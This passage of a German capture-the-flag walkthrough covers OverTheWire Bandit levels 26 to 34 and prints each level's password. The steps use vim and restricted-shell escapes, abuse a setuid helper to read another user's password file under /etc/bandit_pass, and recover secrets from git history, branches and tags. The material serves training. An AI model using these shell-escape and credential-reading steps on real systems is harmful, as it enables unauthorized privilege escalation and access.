<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-vim" data-lang="vim"><span style="display:flex;"><span>:<span style="color:#66d9ef">set</span> <span style="color:#a6e22e">shell</span>=<span style="color:#e6db74">/bin/</span><span style="color:#a6e22e">bash</span>
</span></span><span style="display:flex;"><span>:<span style="color:#a6e22e">shell</span>
</span></span></code></pre></div><p>Wir haben nun wieder eine Shell. :)</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit26@bandit:~$ ls -l
</span></span><span style="display:flex;"><span>total <span style="color:#ae81ff">12</span>
</span></span><span style="display:flex;"><span>-rwsr-x--- <span style="color:#ae81ff">1</span> bandit27 bandit26 <span style="color:#ae81ff">7296</span> Oct <span style="color:#ae81ff">16</span>  <span style="color:#ae81ff">2018</span> bandit27-do
</span></span><span style="display:flex;"><span>-rw-r----- <span style="color:#ae81ff">1</span> bandit26 bandit26  <span style="color:#ae81ff">258</span> Oct <span style="color:#ae81ff">16</span>  <span style="color:#ae81ff">2018</span> text.txt
</span></span></code></pre></div><p>Wir haben hier also 2 Dateien. <strong>text.txt</strong> enthält nur das Banner. Führen wir also mal <strong>bandit27-do</strong> aus.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit26@bandit:~$ ./bandit27-do 
</span></span><span style="display:flex;"><span>Run a command as another user.
</span></span><span style="display:flex;"><span>  Example: ./bandit27-do id
</span></span></code></pre></div><p>Wie wir bei <strong>ls -l</strong> schon sehen konnten, hat diese Binary das <a href="https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/">setuid bit</a> gesetzt! Wir können hiermit also Befehle als ein anderer User ausführen. In diesem Falle ist dies <strong>bandit27</strong>!</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit26@bandit:~$ ./bandit27-do cat /etc/bandit_pass/bandit27
</span></span><span style="display:flex;"><span>3ba3118a22e93127a4ed485be72ef5ea
</span></span></code></pre></div><p>Wir können nun also einfach das Passwort für <strong>bandit27</strong> auslesen!</p>
<h2 id="level-27---level-28"><strong>Level 27 -&gt; Level 28</strong></h2>
<p>Wir melden uns nun als <strong>bandit27</strong> mit dem Passwort <strong>3ba3118a22e93127a4ed485be72ef5ea</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:<br>
Das Passwort für das nächste Level könnt ihr in dem <a href="https://de.atlassian.com/git/tutorials/setting-up-a-repository/git-clone">Git repository</a> <strong>ssh://bandit27-git@localhost/home/bandit27-git/repo</strong> finden. Das Passwort für dieses repository ist dasselbe wie für den User <strong>bandit27</strong>.</p>
<p>Erstellen wir uns erstmal einen Ordner innerhalb von <strong>tmp</strong>, in diesen wir die repository klonen können.<br>
Das Passwort ist dasselbe wie vom User <strong>bandit 27</strong>, also <strong>3ba3118a22e93127a4ed485be72ef5ea</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit27@bandit:~$ mkdir /tmp/m10x2/
</span></span><span style="display:flex;"><span>bandit27@bandit:~$ cd /tmp/m10x2/
</span></span><span style="display:flex;"><span>bandit27@bandit:/tmp/m10x2$ git clone ssh://bandit27-git@localhost/home/bandit27-git/repo
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Cloning into <span style="color:#e6db74">&#39;repo&#39;</span>...
</span></span><span style="display:flex;"><span>Could not create directory <span style="color:#e6db74">&#39;/home/bandit27/.ssh&#39;</span>.
</span></span><span style="display:flex;"><span>The authenticity of host <span style="color:#e6db74">&#39;localhost (127.0.0.1)&#39;</span> can<span style="color:#e6db74">&#39;t be established.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">ECDSA key fingerprint is SHA256:98UL0ZWr85496EtCRkKlo20X3OPnyPSB5tB5RPbhczc.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Are you sure you want to continue connecting (yes/no)? yes
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Failed to add the host to the list of known hosts (/home/bandit27/.ssh/known_hosts).
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">This is a OverTheWire game server. 
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">More information on http://www.overthewire.org/wargames
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">bandit27-git@localhost&#39;</span>s password: 
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>remote: Counting objects: 3, <span style="color:#66d9ef">done</span>.
</span></span><span style="display:flex;"><span>remote: Compressing objects: 100% <span style="color:#f92672">(</span>2/2<span style="color:#f92672">)</span>, <span style="color:#66d9ef">done</span>.
</span></span><span style="display:flex;"><span>remote: Total <span style="color:#ae81ff">3</span> <span style="color:#f92672">(</span>delta 0<span style="color:#f92672">)</span>, reused <span style="color:#ae81ff">0</span> <span style="color:#f92672">(</span>delta 0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Receiving objects: 100% <span style="color:#f92672">(</span>3/3<span style="color:#f92672">)</span>, <span style="color:#66d9ef">done</span>.
</span></span></code></pre></div><p>Die Suche nach dem Passwort ist nun sehr einfach&hellip;</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit27@bandit:/tmp/m10x2$ lsrepo
</span></span><span style="display:flex;"><span>bandit27@bandit:/tmp/m10x2$ cd repo
</span></span><span style="display:flex;"><span>bandit27@bandit:/tmp/m10x2/repo$ ls -alh
</span></span><span style="display:flex;"><span>total 16K
</span></span><span style="display:flex;"><span>drwxr-sr-x <span style="color:#ae81ff">3</span> bandit27 root 4.0K May <span style="color:#ae81ff">13</span> 10:32 .
</span></span><span style="display:flex;"><span>drwxr-sr-x <span style="color:#ae81ff">3</span> bandit27 root 4.0K May <span style="color:#ae81ff">13</span> 10:32 ..
</span></span><span style="display:flex;"><span>drwxr-sr-x <span style="color:#ae81ff">8</span> bandit27 root 4.0K May <span style="color:#ae81ff">13</span> 10:32 .git
</span></span><span style="display:flex;"><span>-rw-r--r-- <span style="color:#ae81ff">1</span> bandit27 root <span style="color:#ae81ff">68</span> May <span style="color:#ae81ff">13</span> 10:32 README
</span></span><span style="display:flex;"><span>bandit27@bandit:/tmp/m10x2/repo$ cat README
</span></span><span style="display:flex;"><span>The password to the next level is: 0ef186ac70e04ea33b4c1853d2526fa2
</span></span></code></pre></div><h2 id="level-28---level-29"><strong>Level 28 -&gt; Level 29</strong></h2>
<p>Wir melden uns nun als <strong>bandit28</strong> mit dem Passwort <strong>0ef186ac70e04ea33b4c1853d2526fa2</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:<br>
Diesmal ist das Passwort zensiert&hellip; Können wir dies rückgängig machen?</p>
<p>Der Anfang ist analog zum vorherigen Level</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit28@bandit:~$ mkdir /tmp/m10x3
</span></span><span style="display:flex;"><span>bandit28@bandit:~$ cd /tmp/m10x3
</span></span><span style="display:flex;"><span>bandit28@bandit:/tmp/m10x3$ git clone ssh://bandit28-git@localhost/home/bandit28-git/repo
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Cloning into <span style="color:#e6db74">&#39;repo&#39;</span>...
</span></span><span style="display:flex;"><span>Could not create directory <span style="color:#e6db74">&#39;/home/bandit28/.ssh&#39;</span>.
</span></span><span style="display:flex;"><span>The authenticity of host <span style="color:#e6db74">&#39;localhost (127.0.0.1)&#39;</span> can<span style="color:#e6db74">&#39;t be established.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">ECDSA key fingerprint is SHA256:98UL0ZWr85496EtCRkKlo20X3OPnyPSB5tB5RPbhczc.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Are you sure you want to continue connecting (yes/no)? yes
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Failed to add the host to the list of known hosts (/home/bandit28/.ssh/known_hosts).
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">This is a OverTheWire game server. 
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">More information on http://www.overthewire.org/wargames
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">bandit28-git@localhost&#39;</span>s password: 
</span></span><span style="display:flex;"><span>remote: Counting objects: 9, <span style="color:#66d9ef">done</span>.
</span></span><span style="display:flex;"><span>remote: Compressing objects: 100% <span style="color:#f92672">(</span>6/6<span style="color:#f92672">)</span>, <span style="color:#66d9ef">done</span>.
</span></span><span style="display:flex;"><span>remote: Total <span style="color:#ae81ff">9</span> <span style="color:#f92672">(</span>delta 2<span style="color:#f92672">)</span>, reused <span style="color:#ae81ff">0</span> <span style="color:#f92672">(</span>delta 0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Receiving objects: 100% <span style="color:#f92672">(</span>9/9<span style="color:#f92672">)</span>, <span style="color:#66d9ef">done</span>.
</span></span><span style="display:flex;"><span>Resolving deltas: 100% <span style="color:#f92672">(</span>2/2<span style="color:#f92672">)</span>, <span style="color:#66d9ef">done</span>.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bandit28@bandit:/tmp/m10x3$ cd repo
</span></span><span style="display:flex;"><span>bandit28@bandit:/tmp/m10x3/repo$ ls 
</span></span><span style="display:flex;"><span>README.md
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bandit28@bandit:/tmp/m10x3/repo$ cat README.md
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Bandit NotesSome notes for level29 of bandit.</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">## credentials</span>
</span></span><span style="display:flex;"><span>- username: bandit29
</span></span><span style="display:flex;"><span>- password: xxxxxxxxxx
</span></span></code></pre></div><p>Das Passwort ist diese mal zensiert worden.<br>
Wenn wir Glück haben, gibt es aber eine ältere Version der repository, in welcher das Passwort noch nicht zensiert war.</p>
<p>Mit dem Befehl <strong>git log</strong> können wir uns die Änderungen an der repository anzeigen lassen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit28@bandit:/tmp/m10x3/repo$ git log
</span></span><span style="display:flex;"><span>commit 073c27c130e6ee407e12faad1dd3848a110c4f95
</span></span><span style="display:flex;"><span>Author: Morla Porla &lt;morla@overthewire.org&gt;
</span></span><span style="display:flex;"><span>Date: Tue Oct <span style="color:#ae81ff">16</span> 14:00:39 <span style="color:#ae81ff">2018</span> +0200
</span></span><span style="display:flex;"><span>fix info leak
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>commit 186a1038cc54d1358d42d468cdc8e3cc28a93fcb
</span></span><span style="display:flex;"><span>Author: Morla Porla &lt;morla@overthewire.org&gt;
</span></span><span style="display:flex;"><span>Date: Tue Oct <span style="color:#ae81ff">16</span> 14:00:39 <span style="color:#ae81ff">2018</span> +0200
</span></span><span style="display:flex;"><span>add missing data
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>commit b67405defc6ef44210c53345fc953e6a21338cc7
</span></span><span style="display:flex;"><span>Author: Ben Dover &lt;noone@overthewire.org&gt;
</span></span><span style="display:flex;"><span>Date: Tue Oct <span style="color:#ae81ff">16</span> 14:00:39 <span style="color:#ae81ff">2018</span> +0200
</span></span><span style="display:flex;"><span>initial commit of README.md
</span></span></code></pre></div><p>Bei dem letzten commit wurde ein <strong>info leak</strong> gefixt.<br>
Nehmen wir uns vorherigen commit vor, bei dem wohl der info leak noch vorhanden ist.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit28@bandit:/tmp/m10x3/repo$ git checkout 186a1038cc54d1358d42d468cdc8e3cc28a93fcb
</span></span><span style="display:flex;"><span>Note: checking out <span style="color:#e6db74">&#39;186a1038cc54d1358d42d468cdc8e3cc28a93fcb&#39;</span>.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>You are in <span style="color:#e6db74">&#39;detached HEAD&#39;</span> state. You can look around, make experimental
</span></span><span style="display:flex;"><span>changes and commit them, and you can discard any commits you make in this
</span></span><span style="display:flex;"><span>state without impacting any branches by performing another checkout.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>If you want to create a new branch to retain commits you create, you may
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">do</span> so <span style="color:#f92672">(</span>now or later<span style="color:#f92672">)</span> by using -b with the checkout command again. 
</span></span><span style="display:flex;"><span>Example:git checkout -b &lt;new-branch-name&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>HEAD is now at 186a103... add missing data
</span></span></code></pre></div><p>Wir haben nun eine ältere Version des Projektes vor uns. Lesen wir noch einmal die <strong>README.md</strong> Datei.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit28@bandit:/tmp/m10x3/repo$ ls
</span></span><span style="display:flex;"><span>README.md
</span></span><span style="display:flex;"><span>bandit28@bandit:/tmp/m10x3/repo$ cat README.md 
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Bandit Notes</span>
</span></span><span style="display:flex;"><span>Some notes <span style="color:#66d9ef">for</span> level29 of bandit.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">## credentials</span>
</span></span><span style="display:flex;"><span>- username: bandit29
</span></span><span style="display:flex;"><span>- password: bbc96594b4e001778eee9975372716b2
</span></span></code></pre></div><h2 id="level-29---level-30"><strong>Level 29 -&gt; Level 30</strong></h2>
<p>Wir melden uns nun als <strong>bandit29</strong> mit dem Passwort <strong>bbc96594b4e001778eee9975372716b2</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:</p>
<p>Dieses Mal müssen wir das Passwort in einer anderen <a href="https://git-scm.com/book/de/v1/Git-Branching-Was-ist-ein-Branch%3F">Branch</a> finden!</p>
<p>Der Anfang ist wieder analog&hellip;</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>bandit29@bandit:/tmp/m10x4/repo$ cat README.md
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Bandit Notes</span>
</span></span><span style="display:flex;"><span>Some notes <span style="color:#66d9ef">for</span> bandit30 of bandit.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">## credentials</span>
</span></span><span style="display:flex;"><span>- username: bandit30
</span></span><span style="display:flex;"><span>- password: &lt;no passwords in production!&gt;
</span></span></code></pre></div><p>Es steht dort, dass anscheinend keine Passwörter in der Produktionsbranch benutzt werden.<br>
Wir befinden uns in der Branch <strong>master</strong>. Mal sehen welche anderen wir finden können&hellip;</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit29@bandit:/tmp/m10x4/repo$ git branch
</span></span><span style="display:flex;"><span>* master
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bandit29@bandit:/tmp/m10x4/repo$ git branch -r
</span></span><span style="display:flex;"><span>origin/HEAD -&gt; origin/master
</span></span><span style="display:flex;"><span>origin/dev
</span></span><span style="display:flex;"><span>origin/master
</span></span><span style="display:flex;"><span>origin/sploits-dev
</span></span></code></pre></div><p>die <strong>dev</strong> Branch sieht vielversprechend aus&hellip;</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit29@bandit:/tmp/m10x4/repo$ git checkout dev
</span></span><span style="display:flex;"><span>Branch dev set up to track remote branch dev from origin.
</span></span><span style="display:flex;"><span>Switched to a new branch <span style="color:#e6db74">&#39;dev&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bandit29@bandit:/tmp/m10x4/repo$ cat README.md
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Bandit Notes</span>
</span></span><span style="display:flex;"><span>Some notes <span style="color:#66d9ef">for</span> bandit30 of bandit.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">## credentials</span>
</span></span><span style="display:flex;"><span>- username: bandit30
</span></span><span style="display:flex;"><span>- password: 5b90576bedb2cc04c86a9e924ce42faf
</span></span></code></pre></div><h2 id="level-30---level-31"><strong>Level 30 -&gt; Level 31</strong></h2>
<p>Wir melden uns nun als <strong>bandit30</strong> mit dem Passwort <strong>5b90576bedb2cc04c86a9e924ce42faf</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:</p>
<p>Bei einem Tag dieser repository wurde eine Dateiname verändert.</p>
<p>Der Anfang ist wieder analog&hellip;</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit30@bandit:/tmp/m10x5/repo$ cat README.md
</span></span><span style="display:flex;"><span>just an epmty file... muahaha
</span></span></code></pre></div><p>Dieses mal haben wir keine <strong>Commits</strong> oder anderen <strong>Branches</strong> die uns weiterhelfen.<br>
Allerdings haben wir einen <strong>tag</strong>. <strong>Tags</strong> sind quasi <strong>Branches</strong> ohne eine <strong>commit history</strong>.<br>
Es ist ein <strong>tag</strong> vorhanden, und zwar mit dem Namen <strong>secret</strong>.<br>
Mit dem Befehl <strong>git show &ndash;name-only</strong> können wir uns dann die Namen der Dateien anzeigen lassen, welche umbenannt wurden.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit30@bandit:/tmp/m10x5/repo$ git tag
</span></span><span style="display:flex;"><span>secret
</span></span><span style="display:flex;"><span>bandit30@bandit:/tmp/m10x5/repo$ git show --name-only secret
</span></span><span style="display:flex;"><span>47e603bb428404d265f59c42920d81e5
</span></span></code></pre></div><p>Eine Datei hatte wohl das Passwort als Namen. :)</p>
<h2 id="level-31---level-32"><strong>Level 31 -&gt; Level 32</strong></h2>
<p>Wir melden uns nun als <strong>bandit31</strong> mit dem Passwort <strong>47e603bb428404d265f59c42920d81e5</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:</p>
<p>README.md enthält die nötigen Anweisungen, die man vornehmen muss.</p>
<p>Der Anfang ist wieder analog&hellip;</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit31@bandit:/tmp/m10x6/repo$ ls -alh
</span></span><span style="display:flex;"><span>total 20K
</span></span><span style="display:flex;"><span>drwxr-sr-x <span style="color:#ae81ff">3</span> bandit31 root 4.0K May <span style="color:#ae81ff">13</span> 11:42 .
</span></span><span style="display:flex;"><span>drwxr-sr-x <span style="color:#ae81ff">3</span> bandit31 root 4.0K May <span style="color:#ae81ff">13</span> 11:42 ..
</span></span><span style="display:flex;"><span>drwxr-sr-x <span style="color:#ae81ff">8</span> bandit31 root 4.0K May <span style="color:#ae81ff">13</span> 11:42 .git
</span></span><span style="display:flex;"><span>-rw-r--r-- <span style="color:#ae81ff">1</span> bandit31 root <span style="color:#ae81ff">6</span> May <span style="color:#ae81ff">13</span> 11:42 .gitignore
</span></span><span style="display:flex;"><span>-rw-r--r-- <span style="color:#ae81ff">1</span> bandit31 root <span style="color:#ae81ff">147</span> May <span style="color:#ae81ff">13</span> 11:42 README.md
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bandit31@bandit:/tmp/m10x6/repo$ cat .gitignore
</span></span><span style="display:flex;"><span>*.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bandit31@bandit:/tmp/m10x6/repo$ cat README.md 
</span></span><span style="display:flex;"><span>This time your task is to push a file to the remote repository.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Details:
</span></span><span style="display:flex;"><span>File name: key.txt
</span></span><span style="display:flex;"><span>Content: <span style="color:#e6db74">&#39;May I come in?&#39;</span>
</span></span><span style="display:flex;"><span>Branch: master
</span></span></code></pre></div><p>Erstellen wir wie gefordert die Text Datei und fügen sie zu der repository hinzu.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit31@bandit:/tmp/m10x6/repo$ touch key.txt
</span></span><span style="display:flex;"><span>bandit31@bandit:/tmp/m10x6/repo$ echo <span style="color:#e6db74">&#34;May I come in?&#34;</span> &gt; key.txt
</span></span><span style="display:flex;"><span>bandit31@bandit:/tmp/m10x6/repo$ git add key.txt
</span></span><span style="display:flex;"><span>The following paths are ignored by one of your .gitignore files:key.txt
</span></span><span style="display:flex;"><span>Use -f <span style="color:#66d9ef">if</span> you really want to add them.
</span></span></code></pre></div><p><strong>.gitignore</strong> verhindert, dass wir irgendwelche <strong>.txt</strong> Dateien hinzufügen können! Um dies zu umgehen, können wir entweder <strong>-f</strong> als Parameter nutzen, oder <strong>.gitignore</strong> löschen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit31@bandit:/tmp/m10x6/repo$ rm .gitignore 
</span></span><span style="display:flex;"><span>bandit31@bandit:/tmp/m10x6/repo$ git add key.txt
</span></span><span style="display:flex;"><span>bandit31@bandit:/tmp/m10x6/repo$ git commit -m <span style="color:#e6db74">&#34;file upload&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>master 0a1e81b<span style="color:#f92672">]</span> file upload
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1</span> file changed, <span style="color:#ae81ff">1</span> insertion<span style="color:#f92672">(</span>+<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>create mode <span style="color:#ae81ff">100644</span> key.txt
</span></span></code></pre></div><p><strong>&ldquo;file upload&rdquo;</strong> ist in diesem Fall nur ein Kommentar, bei dem wir mitteilen können was geändert wurde.<br>
Der <strong>commit</strong> ist jetzt vorbereitet und wir müssen ihn nur noch <strong>push</strong>en.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit31@bandit:/tmp/m10x6/repo$ git push origin master
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Could not create directory <span style="color:#e6db74">&#39;/home/bandit31/.ssh&#39;</span>.
</span></span><span style="display:flex;"><span>The authenticity of host <span style="color:#e6db74">&#39;localhost (127.0.0.1)&#39;</span> can<span style="color:#e6db74">&#39;t be established.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">ECDSA key fingerprint is SHA256:98UL0ZWr85496EtCRkKlo20X3OPnyPSB5tB5RPbhczc.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Are you sure you want to continue connecting (yes/no)? yes
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Failed to add the host to the list of known hosts (/home/bandit31/.ssh/known_hosts).
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">This is a OverTheWire game server. 
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">More information on http://www.overthewire.org/wargames
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">bandit31-git@localhost&#39;</span>s password: 
</span></span><span style="display:flex;"><span>Counting objects: 3, <span style="color:#66d9ef">done</span>.
</span></span><span style="display:flex;"><span>Delta compression using up to <span style="color:#ae81ff">4</span> threads.
</span></span><span style="display:flex;"><span>Compressing objects: 100% <span style="color:#f92672">(</span>2/2<span style="color:#f92672">)</span>, <span style="color:#66d9ef">done</span>.
</span></span><span style="display:flex;"><span>Writing objects: 100% <span style="color:#f92672">(</span>3/3<span style="color:#f92672">)</span>, <span style="color:#ae81ff">321</span> bytes | <span style="color:#ae81ff">0</span> bytes/s, <span style="color:#66d9ef">done</span>.
</span></span><span style="display:flex;"><span>Total <span style="color:#ae81ff">3</span> <span style="color:#f92672">(</span>delta 0<span style="color:#f92672">)</span>, reused <span style="color:#ae81ff">0</span> <span style="color:#f92672">(</span>delta 0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>remote: <span style="color:#75715e">### Attempting to validate files... ####</span>
</span></span><span style="display:flex;"><span>remote: 
</span></span><span style="display:flex;"><span>remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
</span></span><span style="display:flex;"><span>remote: 
</span></span><span style="display:flex;"><span>remote: Well <span style="color:#66d9ef">done</span>! Here is the password <span style="color:#66d9ef">for</span> the next level:
</span></span><span style="display:flex;"><span>remote: 56a9bf19c63d650ce78e6ec0354ee45e
</span></span><span style="display:flex;"><span>remote: 
</span></span><span style="display:flex;"><span>remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
</span></span><span style="display:flex;"><span>remote: To ssh://localhost/home/bandit31-git/repo
</span></span><span style="display:flex;"><span>! <span style="color:#f92672">[</span>remote rejected<span style="color:#f92672">]</span> master -&gt; master <span style="color:#f92672">(</span>pre-receive hook declined<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>error: failed to push some refs to <span style="color:#e6db74">&#39;ssh://bandit31-git@localhost/home/bandit31-git/repo&#39;</span>
</span></span></code></pre></div><h2 id="level-32---level-33"><strong>Level 32 -&gt; Level 33</strong></h2>
<p>Wir melden uns nun als <strong>bandit32</strong> mit dem Passwort <strong>56a9bf19c63d650ce78e6ec0354ee45e</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:</p>
<p>Das vorherige Level war nun erstmal das letzte git Level. Hier müssen wir wieder eine Shell Escape machen!</p>
<p>Wir sind in einer sh shell gefangen!<br>
Wir können nun einfach $0 eingeben um eine Standard Bash shell zu erhalten.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>WELCOME TO THE UPPERCASE SHELL&gt;&gt; $0
</span></span><span style="display:flex;"><span>$ cat /etc/bandit_pass/bandit33
</span></span><span style="display:flex;"><span>c9c3199ddf4121b10cf581a98d51caee
</span></span></code></pre></div><h2 id="level-33---level-34"><strong>Level 33 -&gt; Level 34</strong></h2>
<p>Wir melden uns nun als <strong>bandit33</strong> mit dem Passwort <strong>c9c3199ddf4121b10cf581a98d51caee</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:</p>
<p>Wird ergänzt, wenn Level verfügbar ist</p>
<p>In diesem Level befindet sich nur die Datei <strong>README.txt</strong>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit26@bandit:~$ ls
</span></span><span style="display:flex;"><span>README.txt text.txt
</span></span><span style="display:flex;"><span>bandit26@bandit:~$ cat README.txt 
</span></span><span style="display:flex;"><span>Congratulations on solving the last level of this game!
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>At this moment, there are no more levels to play in this game. However, we are constantly working
</span></span><span style="display:flex;"><span>on new levels and will most likely expand this game with more levels soon.
</span></span><span style="display:flex;"><span>Keep an eye out <span style="color:#66d9ef">for</span> an announcement on our usual communication channels!
</span></span><span style="display:flex;"><span>In the meantime, you could play some of our other wargames.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>If you have an idea <span style="color:#66d9ef">for</span> an awesome new level, please let us know!
